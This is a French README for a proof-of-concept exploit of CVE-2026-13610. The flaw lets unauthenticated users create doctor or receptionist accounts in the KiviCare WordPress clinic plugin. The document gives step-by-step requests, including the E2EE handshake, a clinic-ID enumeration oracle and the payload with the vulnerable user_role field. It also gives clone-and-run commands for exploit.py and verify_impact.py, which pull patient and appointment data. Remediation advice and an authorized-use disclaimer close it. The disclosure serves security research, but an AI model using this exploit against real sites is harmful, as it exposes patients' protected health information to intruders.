
PoC d’exploitation pour la création non authentifiée de comptes médecin/réceptionniste dans le plugin WordPress KiviCare via une gestion des privilèges inappropriée, offrant un accès aux PHI au niveau du personnel.
CWE-269 (Gestion de privilèges inappropriée) | Enregistrement non authentifié avec un rôle de personnel choisi par l'attaquant → divulgation des PHI des patients
Vulnérabilité critique dans le plugin WordPress KiviCare – Clinic & Patient Management System (versions jusqu'à 4.5.1 incluse) qui permet à des attaquants non authentifiés d'enregistrer un compte de médecin (kiviCare_doctor) ou de réceptionniste (kiviCare_receptionist) avec un mot de passe choisi, mappé dans une clinique de leur choix.
La vulnérabilité existe parce que le point de terminaison d'enregistrement public prend le paramètre user_role directement depuis le corps de la requête, et que sa liste blanche de validation inclut les rôles du personnel de la clinique :
Le point de terminaison d'enregistrement POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) n'est protégé que par
checkRegistrationPermission() (:602–650), qui :
true immédiatement si users_can_register est activé (aucune vérification d'authentification).KCOption::get() retourne null sur les installations par défaut.return true à la fin de la fonction.Le gestionnaire register() (:1277–1387) lit ensuite user_role depuis le
corps de la requête, le mappe aux modèles KCDoctor / KCReceptionist, puis appelle
$model->save() — qui exécute wp_insert_user() et
setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) sans aucune
vérification d'autorisation. Le compte résultant est actif et mappé
à la clinique choisie par l'attaquant.
Le chiffrement E2EE du corps de requête du plugin n'est pas un obstacle : les points de terminaison
d'établissement de liaison (server-key, config/register-key) ne sont pas authentifiés
(app/controllers/api/ConfigController.php:190–205), donc n'importe quel client peut
négocier une clé invité et envoyer une charge utile chiffrée.
Procédure complète : analysis/TECHNICAL_ANALYSIS.md
1. Établissement de liaison (cibles chiffrées) :
POST /wp-json/kivicare/v1/server-key -> clé publique X25519 du serveur
POST /wp-json/kivicare/v1/config/register-key -> enregistrer sa propre clé publique
(en-tête x_kc_client_id: <quelque chose>, corps {"public_key": "<base64>"})
2. Énumérer un identifiant de clinique valide via l'oracle de validation :
"Invalid clinic selected" -> la clinique n'existe pas
"Username already exists" -> la clinique existe
3. Chiffrer la charge utile et l'envoyer :
POST /wp-json/kivicare/v1/auth/register
corps = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- paramètre vulnérable
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> compte de médecin actif créé
5. Connexion via wp-login.php ou REST /auth/login -> accès du personnel aux PHI des patients
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
Le script détecte automatiquement le mode de transport (JSON simple vs chiffré E2EE)
et énumère les identifiants de clinique lorsque --clinic n'est pas fourni.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Se connecte via REST, réassocie la clé de réponse E2EE du compte, puis appelle
les points de terminaison réservés au personnel (/patients, /appointments).
--url URL de base de la cible (requis)
--username Nom d'utilisateur à créer (défaut : attacker<aléatoire>)
--email Adresse e-mail (défaut : <username>@evil.example)
--password Mot de passe (défaut : Poc!Passw0rd-2026)
--role kiviCare_doctor (défaut) | kiviCare_receptionist | kiviCare_patient
--clinic Identifiant de clinique (auto-énuméré si omis)
--mobile Numéro de mobile (défaut : +1555... aléatoire)
--first-name Prénom (défaut : Dr)
--last-name Nom de famille (défaut : Poc)
--gender Genre (défaut : male)
--no-verify Ignorer la vérification de connexion après la création
Une exploitation réussie produit un compte de personnel actif mappé dans une vraie clinique, sans aucune authentification requise :
wp-admin (read +
upload_files) — une porte d'entrée pour d'autres attaquesLe point de terminaison ne permet pas de créer un compte WordPress administrator
(la liste blanche user_role le rejette), mais le rôle de médecin est suffisant pour
un accès complet aux données cliniques.
patient_role_onlycurrent_user_can('create_users') + vérification de noncecheckRegistrationPermission — supprimer le
return true de secoursrecaptchaToken lorsque reCAPTCHA est activé (actuellement facultatif)UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ.
Cet outil est destiné aux chercheurs en sécurité et aux testeurs d'intrusion disposant d'une autorisation écrite explicite pour tester les systèmes cibles. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil. Toutes les vérifications ont été effectuées sur l'infrastructure de laboratoire de l'auteur.
ghostpels — Recherche en sécurité et développement d'exploits
Ce projet est sous licence ghostpels Security Research License.
| Élément | Ce qu'il fait | Résultat |
|---|
permission_callback | Aucun is_user_logged_in(), aucun nonce, aucune vérification de capacité | Passe ; se termine par return true |
Liste blanche user_role | Accepte kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | L'attaquant sélectionne un rôle du personnel |
Paramètre patient_role_only | Déclaré avec le défaut yes | Jamais lu — paramètre mort |
| reCAPTCHA | Validé uniquement if (isset($params['recaptchaToken'])) | Contourné en omettant le paramètre |
| Champ | Valeur |
|---|
| Identifiant CVE | CVE-2026-13610 |
| CWE | CWE-269 (Gestion de privilèges inappropriée) |
| Plugin | KiviCare – Clinic & Patient Management System |
| Versions concernées | Jusqu'à 4.5.1 incluse |
| Corrigée | Non confirmé au moment de cette analyse |
| Type | Création de compte non authentifiée avec un rôle du personnel (élévation de privilèges) |
| Chercheur | Sai Praneeth Koti |
| Publiée | 2026 |